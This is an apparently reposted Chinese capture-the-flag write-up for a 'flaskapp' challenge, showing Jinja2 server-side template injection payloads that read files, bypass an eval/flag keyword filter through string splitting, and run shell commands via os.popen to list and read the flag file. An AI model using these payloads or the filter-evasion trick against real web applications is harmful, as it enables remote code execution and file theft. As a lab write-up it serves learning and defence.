flaskapp

听闻少年二字,当与平庸相斥。这篇文章主要讲述flaskapp相关的知识,希望能为你提供帮助。
【flaskapp】前置知识
https://blog.csdn.net/u013457794/article/details/88997699?depth_1-utm_source=distribute.pc_relevant.none-task& utm_source=distribute.pc_relevant.none-task
https://zhuanlan.zhihu.com/p/32336971
https://xz.aliyun.com/t/2553#toc-2
https://evi0s.com/2018/11/26/%E6%B7%B1%E5%85%A5ssti-%E4%BB%8Enctf2018%E4%B8%A4%E9%81%93flask%E7%9C%8Bbypass%E6%96%B0%E5%A7%BF%E5%8A%BF/
check了关键字:eval,flag。
打开界面,是base64加密和解密
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘builtins‘].open(‘filename‘, ‘r‘).read() }}{% endif %}{% endfor %}
可文件读取,文件名不知道是啥
看到PIN码,凑齐6个条件,写了脚本,没跑出来。。
最后直接绕过。。。。绕过了。。。。。
{{{}.__class__.__base__.__subclasses__()[103].__init__.__globals__[‘builtins‘][‘ev‘+‘al‘](" __imp" +" ort_" +" _(‘o" +" s‘).po" +" pen(‘dir‘).read()" )}}
爆出flag文件名
用拼接法{{{}.class.base.subclasses()[103].init.globals[‘builtins‘][‘ev‘+‘al‘](" __imp" +" ort_" +" _(‘o" +" s‘).po" +" pen(‘cat ./../../../../../../" +" this_is_the_f" +" lag.txt‘).read()" )}}
得到flag(flag就不占了,uuid形式)

    推荐阅读